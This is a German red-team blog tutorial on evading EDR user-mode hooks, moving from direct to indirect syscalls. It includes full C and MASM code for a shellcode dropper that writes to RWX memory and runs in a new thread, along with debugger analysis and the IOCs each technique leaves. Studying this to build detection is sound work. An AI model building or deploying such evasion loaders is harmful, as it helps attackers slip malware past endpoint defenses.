Zurück

Direct Syscalls vs Indirect Syscalls

tl;dr Direct Syscalls sind eine Technik, die mittlerweile häufig von Angreifern und auch Red Teamern für verschiedene Aktivitäten wie die Ausführung von Shellcode oder die Erstellung eines Speicherabbilds der lsass.exe verwendet wurde bzw. auch heute noch verwendet wird. Abhängig vom EDR kann es jedoch sein, dass Direct Syscalls zum heutigen Zeitpunkt (Mai 2023) nicht mehr ausreichen, um EDRs im Kontext verschiedener Angriffsphasen wie z.B. Initial Access, Credential Dumping, Lateral Movement etc. zu umgehen. Der Grund dafür ist, dass immer mehr EDR Hersteller Mechanismen in ihre Produkte implementieren, wie z.B. Kernel Callbacks, die dazu verwendet werden können, den Speicherbereich zu bestimmen, aus dem die Syscall-Anweisung und die Return-Anweisung ausgeführt werden bzw. auf welchen Speicherbereich die Return-Anweisung zeigt. Wird z.B. die Return-Anweisung außerhalb des Speicherbereichs der ntdll.dll ausgeführt, ist dies abnormales Verhalten unter Windows und ein eindeutiger Indicator of Compromise (IOC).

Um diesen IOC aus Sicht eines Angreifers (Red Team) zu eliminieren oder um eine Entdeckung durch den EDR zu vermeiden, können direkte Syscalls durch indirekte Syscalls ersetzt werden. Im Wesentlichen können indirekte Syscalls als praktische und logische Weiterentwicklung der direkten Syscalls angesehen werden. Sie ermöglichen es insbesondere, kritische Operationen wie die Syscall-Anweisung und die Return-Anweisung im Speicher der ntdll.dll und nicht im Speicher der zur Ausführung verwendeten .exe auszuführen, und zwar als Teil eines indirekten Syscall Proof of Concept (POC). Dieser Ansatz entspricht eher dem Standardbetriebsverhalten in Windows-Umgebungen und ist daher im Hinblick auf die Systemkonformität eine anspruchsvollere Technik.

Einleitung

Zum Thema Direct Syscalls habe ich bereits den Blog Post "Direct Syscalls: A journey from high to low" geschrieben, doch nun möchte ich mich näher mit Indirect Syscalls beschäftigen. In diesem Blog Post möchte ich den Unterschied zwischen den Techniken Direct Syscalls und Indirect Syscalls erörtern. Dazu werde ich im Laufe des Artikels auf die folgenden Punkte eingehen:

  • User Mode API-Hooking 

  • Direct Syscalls

  • Indirect Syscalls 

Das Ziel dieses Artikels ist es, einen Direct Syscall Dropper in einen Indirect Syscall Dropper umzuschreiben, beide Dropper ein wenig mit x64dbg und Process Hacker zu analysieren und den Unterschied zwischen Direct Syscalls und Indirect Syscalls zu verstehen. Außerdem möchte ich am Ende des Artikels noch ein wenig auf die Limitierungen von Indirect Syscalls im Zusammenhang mit EDR Evasion eingehen. 

Disclaimer

Der Inhalt und alle Code-Beispiele in diesem Artikel sind nur für Forschungszwecke bestimmt und dürfen nicht in einem unethischen Kontext verwendet werden! Der verwendete Code ist nicht neu und ich erhebe keinen Anspruch darauf. Die Basis für den Code stammt, wie so oft, von ired.team, vielen Dank @spotheplanet für deine geniale Arbeit und das Teilen mit uns allen!

User mode API-Hooking

Durch das User Mode API Hooking haben EDRs die Möglichkeit, Code, der im Kontext von Windows APIs bzw. Native APIs ausgeführt wird, dynamisch auf potenziell schädliche Inhalte oder Verhaltensweisen zu untersuchen. Grundsätzlich gibt es verschiedene Arten des Hookings, wobei die meisten Hersteller die Variante des Inline Hookings verwenden, indem sie eine spezifische mov Instruktion bzw. mov eax SSN im Stub innerhalb einer Native API durch eine 5 Byte lange jmp Instruktion ersetzen. Spezifisch deshalb, weil die mov Instruktion ersetzt wird, die normalerweise für das Verschieben der Syscall Number oder System Service Number (SSN) in das Register eax verantwortlich ist. Die unbedingte Sprunganweisung (jmp) bewirkt eine Umleitung zur Hooking.dll des EDR und der EDR kann den im Kontext der Native API ausgeführten Code auf potentiell schädlichen Inhalt untersuchen.


Ein Return in den Speicher der ntdll.dll und damit die Ausführung der Syscall-Anweisung zur Einleitung der Transition vom Windows User Mode in den Kernel Mode erfolgt nur, wenn der EDR den im Kontext der jeweiligen Native API ausgeführten Code als nicht schädlich eingestuft hat. Andernfalls wird die Syscall-Anweisung und der im Kontext stehende Code nicht ausgeführt. Die folgende Abbildung zeigt vereinfacht die Funktionsweise des Usermode API Hookings mittels EDR.


Wer seinen eigenen EDR überprüfen möchte, ob dieser bzw. welche APIs mittels Inline Hooking auf die EDR-eigene Hooking.dll umgeleitet werden, kann dazu einen Debugger wie z.B. WinDbg verwenden. Dazu startet man auf dem Endpoint mit installiertem EDR ein Programm wie z.B. Notepad, anschließend verbindet man sich über Windbg mit dem laufenden Prozess. Achtung, wer den gleichen Fehler wie ich am Anfang macht und die notepad.exe direkt als Image in den Debugger lädt, wird keine Hooks in den APIs finden, da der EDR in diesem Fall seine Hooking.dll noch nicht in den Adressspeicher der notepad.exe injizieren konnte.

Der folgende Befehl extrahiert die Speicheradresse der gewünschten API, in diesem Fall die Adresse der Native API NtAllocateVirtualMemory, die sich in der ntdll.dll befindet.

x ntdll!NtAllocateVirtualMemory

Die Speicheradresse kann dann im nächsten Schritt mit folgendem Befehl aufgelöst werden und man erhält den Inhalt der Nativen API Funktion NtAllocateVirtualMemory im Assembly Format.

u 00007ff8`16c4d3b0

Die folgende Abbildung zeigt im oberen Teil den Stub der nativen Funktion NtAllocateVirtualMemory auf einem Endpoint mit installiertem EDR, der die Technik user mode API-Hooking verwendet. Es ist zu erkennen, dass mov eax SSN durch eine 5Byte lange unkonditionierte Jump-Anweisung (jmp) ersetzt wurde. Diese Jump-Anweisung bewirkt, dass der im Kontext von NtAllocateVirtualMemory ausgeführte Code in die hooking.dll des EDR umgeleitet wird. Der Return in den Speicher der ntdll.dll und die anschließende Ausführung des Syscalls erfolgt nur, wenn der EDR den ausgeführten Code als nicht schädlich eingestuft hat, ansonsten erfolgt eine Unterbrechung durch den EDR.

Im Vergleich dazu sieht man im unteren Bereich einen unveränderten Stub der nativen Funktion NtAllocateVirtualMemory auf einem Endpoint ohne installierten EDR. Mit anderen Worten, so sieht im Normalfall ein unveränderter Stub einer nativen Funktion in der ntdll.dll unter Windows aus.

Direct Syscalls

Eine Möglichkeit, die EDR User Mode Hooks zu umgehen, ist die Technik der Direct System Calls. Vereinfacht ausgedrückt funktioniert dies wie folgt. Anstatt den benötigten Code im Kontext der Native APIs für den Übergang vom Windows User Mode in den Kernel Mode über die ntdll.dll zu beziehen, wird der benötigte Inhalt (Stub) der nativen Funktion in Form von Assembly Instruktionen direkt im Assembly implementiert. Dadurch wird aus Sicht eines Angreifers (Red Team) verhindert, dass der ausgeführte Code im Kontext von Native APIs - die mit einem Hook versehen sind - auf die Hooking.dll des EDR umgeleitet und vom EDR analysiert wird. Die folgende Abbildung zeigt vereinfacht das Prinzip der Direct Syscalls.

Für die Implementierung bzw. Ausführung von Direct Syscalls gibt es mittlerweile mehrere verschiedene Tools und POCs wie z.B. Syswhispers2, Syswhispers3, Hells Gate oder Halo's Gate. In unserem Fall verzichten wir auf die genannten POCs, versuchen den Code so einfach wie möglich zu halten und verwenden für den praktischen Teil folgenden C Code für unseren Direct Syscall POC, der später im Kapitel Indirect Syscalls zu einem Indirect Syscall POC umgeschrieben wird. Der Code kann auch als Github Repository in Form eines Visual Studio Projektes heruntergeladen werden.

#include <windows.h>  
#include <stdio.h>    
#include "syscalls.h" 

// Declare global variables to hold syscall numbers
DWORD wNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
DWORD wNtWaitForSingleObject;

int main() {
    PVOID allocBuffer = NULL;  // Declare a pointer to the buffer to be allocated
    SIZE_T buffSize = 0x1000;  // Declare the size of the buffer (4096 bytes)

    // Get a handle to the ntdll.dll library
    HANDLE hNtdll = GetModuleHandleA("ntdll.dll");

    // Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
    // This is typically located at the 4th byte of the function
    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

    UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];

    UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
    wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];

    UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];


    // Replace this with your actual shellcode
    unsigned char shellcode[] = "\xfc\x48\x83...";


    // Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    
    ULONG bytesWritten;
    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);

    HANDLE hThread;
    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);

    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing
    NtWaitForSingleObject(hThread, FALSE, NULL);
}
// Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module    
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
    // This is typically located at the 5th byte of the function
    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

Da sich die Syscall-Nummern bzw. System Service Numbers (SSN) von Windows zu Windows und auch von Version zu Version unterscheiden können, möchten wir diese nicht fest in unserem C-Code kodieren, sondern dynamisch auslesen, indem wir mittels Handle hNtdll auf die bereits geladene ntdll.dll im Adressraum des Assembly zugreifen. Warum werden an die Basisadresse von NtAllocateVirtualMemory 4 Bytes addiert? Dies ist der notwendige Offset (bezogen auf die Basisadresse der Nativen API), um die Speicheradresse von mov eax SSN zu erhalten, der die SSN für den Syscall enthält. Dadurch kann die SSN ausgelesen und im Anschluss in der Variable wNtAllocateVirtualMemory gespeichert werden. Das gleiche Prinzip wird für die anderen drei SSNs der Native APIs NtWriteVirtualMemory, NtCreateThreadEx und NtWairForSingleObject verwendet.

// Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    
    ULONG bytesWritten;
    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);

    HANDLE hThread;
    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);

    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing
    NtWaitForSingleObject(hThread, FALSE, NULL);

Wie immer bin ich ein Fan davon, einfachen Code zu verstehen und ihn dann Schritt für Schritt zu modifizieren. Wie in meinen anderen Beiträgen verwenden wir das Native API NtAllocateVirtualMemory, um Speicher zu reservieren, schreiben den Shellcode mit NtWriteVirtualMemory in den reservierten Speicher, führen den Shellcode mit NtCreateThreadEx in einem neuen Thread aus und warten mit NtWaitForSingleObject, um sicherzustellen, dass der Main-Thread wartet, bis der aktuelle Thread, der den Shellcode ausführt, fertig ist. Wie eingangs erwähnt, wird bei der Verwendung von Direct Syscalls der sonst über die ntdll.dll bezogene Code (Stub) der jeweiligen nativen Funktion über eine .asm-Datei direkt in das Assembly implementiert.

Der MASM-Assemblercode in der Intel-Syntax sieht wie folgt aus.

EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.
EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.
EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.


.CODE  ; Start the code section

; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    syscall                                         ; Execute syscall.
    ret                                             ; Return from the procedure.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.

; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, wNtWriteVirtualMemory
    syscall
    ret
NtWriteVirtualMemory ENDP

; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, wNtCreateThreadEx
    syscall
    ret
NtCreateThreadEx ENDP

; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
    mov r10, rcx
    mov eax, wNtWaitForSingleObject
    syscall
    ret
NtWaitForSingleObject ENDP

END  ; End of the module
EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.
EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.
EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.

Mit dem Schlüsselwort EXTERN kann auf die zuvor im C-Code als global deklarierten Variablen wNtWriteVirtualMemory etc. zugegriffen werden, die die jeweilige SSN enthalten. Dadurch wird vermieden, dass die jeweilige SSN im Assembly Code hardcodiert werden muss.

; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    syscall                                         ; Execute syscall.
    ret                                             ; Return from the procedure.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.

Wie bereits erwähnt, vermeiden wir im Kontext der vier verwendeten Native APIs den Zugriff auf dientdll.dll und implementieren den notwendigen Code (Stub) der jeweiligen nativen Funktion als Assembly Code in der .asm Datei. Der Assembly Code erfüllt folgende Aufgaben. Zuerst wird mit "mov r10 rcx" der aktuelle Inhalt des Registers rcx in das Register r10 geschrieben. Anschließend wird mittels mov eax wNtAllocateVirtualMemory der aktuelle Inhalt der Variable wNtAllocateVirtualMemory in das Register eax verschoben. Zur Erinnerung: Zu diesem Zeitpunkt enthält die global deklarierte Variable wNtAllocateVirtualMemory die SSN des Syscalls zur Native API NtAllocateVirtualMemory. Danach erfolgt die Ausführung des Syscalls mittels der Syscall-Anweisung syscall und am Ende die Ausführung der Return-Anweisung mittels ret. Die gleiche Vorgehensweise wird auch für die anderen Native APIs ( NtWriteVirtualMemory, NtCreateThreadEx, NtWaitForSingleObject) verwendet.


Das kompilierte Direct Syscall POC wird im Anschluss in x64dbg geladen und ein wenig näher analysiert. Trotz der Tatsache, dass wir mit Direct Syscalls user mode Hooks durch EDRs umgehen können, haben Direct Syscalls folgende IOCs zur Folge, die je nach EDR zu Detections führen können. 

  • Die Ausführung des Syscall-Befehls erfolgt direkt im Speicherbereich des Direct Syscall Assembly und damit außerhalb des Speicherbereichs der ntdll.dll. Dies ist ein eindeutiger IOC, da Syscall-Anweisungen normalerweise nie außerhalb des Speicherbereichs der ntdll.dll ausgeführt werden. 

  • Des Weiteren erfolgt die Ausführung der Return Anweisung innerhalb des Speichers des Direct Syscall Assembly und verweist gleichzeitig vom Speicher bereich des Direct Syscall Assembly auf den Speicherbereich des Direct Syscall Assembly. 

In beiden Fällen handelt es sich um nicht legitimes Verhalten unter Windows und somit um eindeutige IOCs, die von EDRs durch die Verwendung von Kernel Callbacks zur Erkennung von bösartigem Verhalten verwendet werden können. Aus diesem Grund wird die Technik der Indirect Syscalls im nächsten Kapitel behandelt.

Indirect Syscalls

Die Technik der Indirect Syscalls ist mehr oder weniger eine Weiterentwicklung der Technik der Direct Syscalls. Mit Indirect Syscalls können im Vergleich zu Direct Syscalls folgende Probleme im Zusammenhang mit EDR Evasion gelöst werden. 

  • Zum einen erfolgt die Ausführung der Syscall-Anweisung innerhalb des Speichers der ntdll.dll und ist somit für den EDR legitim. 

  • Zum anderen erfolgt die Ausführung der Return Anweisung innerhalb des Speichers der ntdll.dll und verweist vom Speicher der ntdll.dll auf den Speicher des Indirect Syscall Assembly. 

Wie wir später sehen werden, wird im Vergleich zum Direct Syscall POC vereinfacht gesagt nur ein Teil des Syscall-Stubs direkt im Indirect Syscall Assembly selbst implementiert und ausgeführt, während die Syscall-Anweisung und der Return im Speicher der ntdll.dll ausgeführt werden. Dazu später mehr. Die folgende Abbildung soll helfen, das Konzept der Indirect Syscalls besser zu verstehen, wobei zu beachten ist, dass es sich um eine vereinfachte Darstellung handelt.

Als Basis für den Indirect Syscall POC verwenden wir den Code des Direct Syscall POC und werden sehen, dass sich die Änderungen sehr in Grenzen halten. Der Code sieht wie folgt aus und kann wieder als Visual Studio Projekt von meinem Github Account heruntergeladen werden. 

#include <windows.h>  
#include <stdio.h>    
#include "syscalls.h"

// Declare global variables to hold syscall numbers and syscall instruction addresses
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
UINT_PTR sysAddrNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
UINT_PTR sysAddrNtWaitForSingleObject;


int main() {
    PVOID allocBuffer = NULL;  // Declare a pointer to the buffer to be allocated
    SIZE_T buffSize = 0x1000;  // Declare the size of the buffer (4096 bytes)

    // Get a handle to the ntdll.dll library
    HANDLE hNtdll = GetModuleHandleA("ntdll.dll");

    // Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
    // This is typically located at the 4th byte of the function
    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];

    // The syscall stub (actual system call instruction) is some bytes further into the function. 
    // In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function.
    // So we add 0x12 to the function's address to get the address of the system call instruction.
    sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;

    UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
    sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;

    UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
    wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
    sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;

    UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
    sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;

    // Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);

    // Define the shellcode to be injected
    unsigned char shellcode[] = "\xfc\x48\x83";

    ULONG bytesWritten;
    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);

    HANDLE hThread;
    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);

    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing
    NtWaitForSingleObject(hThread, FALSE, NULL);
}
UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;

Im Vergleich zum Direct Syscall POC wollen wir im Indirect Syscall POC nicht nur die SSN dynamisch extrahieren, sondern auch die Speicheradresse der Syscall Instruktion. Letzteres wird mit der Codezeile " sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12" realisiert. Dies ist notwendig, damit später im zugehörigen Assemblercode die Syscall-Anweisung durch eine unkonditionierte Jump-Anweisung (jmp) ersetzt werden kann, die mittels Pointer auf die Speicheradresse der Syscall-Anweisung innerhalb der ntdll.dll zeigt.

EXTERN wNtAllocateVirtualMemory:DWORD               ; Extern keyword indicates that the symbol is defined in another module. Here it's the syscall number for NtAllocateVirtualMemory.
EXTERN sysAddrNtAllocateVirtualMemory:QWORD         ; The actual address of the NtAllocateVirtualMemory syscall instruction in ntdll.dll.

EXTERN wNtWriteVirtualMemory:DWORD                  ; Syscall number for NtWriteVirtualMemory.
EXTERN sysAddrNtWriteVirtualMemory:QWORD            ; The actual address of the NtWriteVirtualMemory syscall instruction in ntdll.dll.

EXTERN wNtCreateThreadEx:DWORD                      ; Syscall number for NtCreateThreadEx.
EXTERN sysAddrNtCreateThreadEx:QWORD                ; The actual address of the NtCreateThreadEx syscall instruction in ntdll.dll.

EXTERN wNtWaitForSingleObject:DWORD                 ; Syscall number for NtWaitForSingleObject.
EXTERN sysAddrNtWaitForSingleObject:QWORD           ; The actual address of the NtWaitForSingleObject syscall instruction in ntdll.dll.

.CODE  ; Start the code section

; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.


; Similar procedures for NtWriteVirtualMemory syscalls
NtWriteVirtualMemory PROC
    mov r10, rcx
    mov eax, wNtWriteVirtualMemory
    jmp QWORD PTR [sysAddrNtWriteVirtualMemory]
NtWriteVirtualMemory ENDP


; Similar procedures for NtCreateThreadEx syscalls
NtCreateThreadEx PROC
    mov r10, rcx
    mov eax, wNtCreateThreadEx
    jmp QWORD PTR [sysAddrNtCreateThreadEx]
NtCreateThreadEx ENDP


; Similar procedures for NtWaitForSingleObject syscalls
NtWaitForSingleObject PROC
    mov r10, rcx
    mov eax, wNtWaitForSingleObject
    jmp QWORD PTR [sysAddrNtWaitForSingleObject]
NtWaitForSingleObject ENDP

END
;Indirect Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.
;Direct Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    syscall                                         ; Execute syscall.
    ret                                             ; Return from the procedure.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.

Vergleicht man den Assembly Code des Direct Syscall POC und des Indirect Syscall POC, so erkennt man, dass direkt im Indirect Syscall POC nur ein Teil des Stubs der nativen Funktion in Form von Assembly Code abgebildet wird. Auch im Indirect Syscall POC wird die SSN dynamisch ausgelesen und in einer global deklarierten Variable gespeichert. Im Vergleich zum Direct Syscall POC wird jedoch beim Indirect Syscall POC die Syscall-Anweisung durch eine unkonditionierte Jump-Anweisung (jmp) ersetzt, welche mittels Pointer auf die Adresse der Syscall-Anweisung im Speicherbereich der ntdll.dll verweist.


Wir kompilieren wiederum das Indirect Syscall POC und öffnen die POC in x64dbg. Im Vergleich zu zuvor beim Direct Syscall POC ist erkennbar, dass die Ausführung der Syscall Anweisung nicht im Speicherbereich des Indirect Syscall Assembly erfolgt. Stattdessen wurde die Syscall-Anweisung durch eine Jump-Anweisung ersetzt, die auf die Speicheradresse der Syscall-Anweisung in der ntdll.dll zeigt. Dadurch wird erreicht, dass die Syscall-Anweisung und der anschließende Return aus dem Speicherbereich der ntdll.dll erfolgen. 

Vergleicht man den Thread-Call-Stack von direkten und indirekten Syscalls, gibt es signifikante Unterschiede. Bei direkten Syscalls findet der Syscall selbst und seine Rückgabeausführung im Speicherbereich der .exe-Datei des ausführenden Prozesses statt. Dies hat zur Folge, dass der oberste Frame des Aufrufstapels aus dem Speicher der .exe und nicht aus dem Speicher der ntdll.dll stammt. Ein solches Muster ist mit 100-prozentiger Sicherheit ein definitiver Indikator für eine Kompromittierung (IOC), da es untypisch für das Standardverhalten von Anwendungen ist.

Auf der anderen Seite bieten indirekte Syscalls im Kontext des Thread Call Stacks ein legitimeres Erscheinungsbild. Bei indirekten Syscalls findet sowohl die Ausführung des Syscalls als auch die Rückgabeanweisung innerhalb des Speichers der ntdll.dll statt, was dem erwarteten Verhalten in normalen Anwendungsprozessen entspricht. Indem direkte Syscalls durch indirekte ersetzt werden, ahmt der resultierende Aufrufstapel ein konventionelleres Ausführungsmuster nach. Dies kann nützlich sein, um EDR-Systeme zu umgehen, die den Speicherbereich untersuchen, in dem Syscalls und ihre Rückgaben ausgeführt werden.

Die erhöhte Legitimität der Stack-Frame-Reihenfolge bei Verwendung des indirekten Syscall Proof of Concept (POC) ist im Vergleich zur Stack-Frame-Reihenfolge einer unmodifizierten cmd.exe offensichtlich. Um dies zu beobachten, öffnen wir einfach eine cmd.exe und verwenden Process Hacker, um die Stackframes erneut zu untersuchen. Es ist jedoch zu beachten, dass ein EDR-System, das Event Tracing for Windows (ETW) verwendet, um den vollständigen Aufrufstapel zu analysieren, auch dann Anomalien erkennen kann, wenn indirekte Syscalls verwendet werden. In solchen Szenarien kann das Spoofing des gesamten Aufrufstapels für eine effektivere Umgehung erforderlich sein, da es dazu beiträgt, irreguläre Syscall-Muster vor den wachsamen Augen fortgeschrittener EDR-Systeme zu verbergen.

Erkenntnisse 

In verschiedenen Versuchen mit unterschiedlichen EDRs hat sich gezeigt, dass Direct Syscalls zwar noch funktionieren können, aber in Abhängigkeit vom EDR auch immer häufiger erkannt werden. Basierend auf IOCs im Kontext von Direct Syscalls können Indirect Syscalls eine sinnvolle Lösung sein, da sie im Vergleich folgende Probleme lösen: 

  • Zum einen erfolgt die Ausführung des Syscall-Befehls innerhalb des Speichers der ntdll.dll und ist somit für den EDR legitim.

  • Zum anderen erfolgt die Ausführung der Return-Anweisung innerhalb des Speichers der ntdll.dll und verweist vom Speicher der ntdll.dll auf den Speicher der Indirect Syscall Assembly. Dieses Verhalten ist zumindest legitimer als das Verhalten bei Direct Syscalls, kann aber abhängig vom EDR immer noch zu IOCs führen, z.B. wenn der EDR auch den Call Stack überprüft.

Indirect Syscalls stellen eine Verbesserung gegenüber Direct Syscalls dar, haben aber auch ihre Grenzen und verfügen ebenfalls über bestimmte IOCs, die mittlerweile von EDR-Herstellern zur Generierung von Detection Rules genutzt werden. So ist es z.B. mit Indirect Syscalls zwar möglich, die Return-Adresse zu spoofen, wodurch die Speicheradresse des nachfolgenden Returns an die Spitze des Callstacks gesetzt wird.
und die Return-Prüfung durch den EDR umgangen wird. Verwendet ein EDR jedoch ETW, so kann er zusätzlich den Call-Stack selbst auf unzulässiges Verhalten überprüfen. Für die EDR-Evasion reichen Indirect Syscalls alleine nicht mehr aus und man muss sich mit dem Thema Call Stack Spoofing näher beschäftigen. Einen guter Artikel dazu "Hiding In PlainSight - Indirect Syscall is Dead! Long Live Custom Call Stacks" wurde von @NinjaParanoid verfasst.

Zusammenfassung

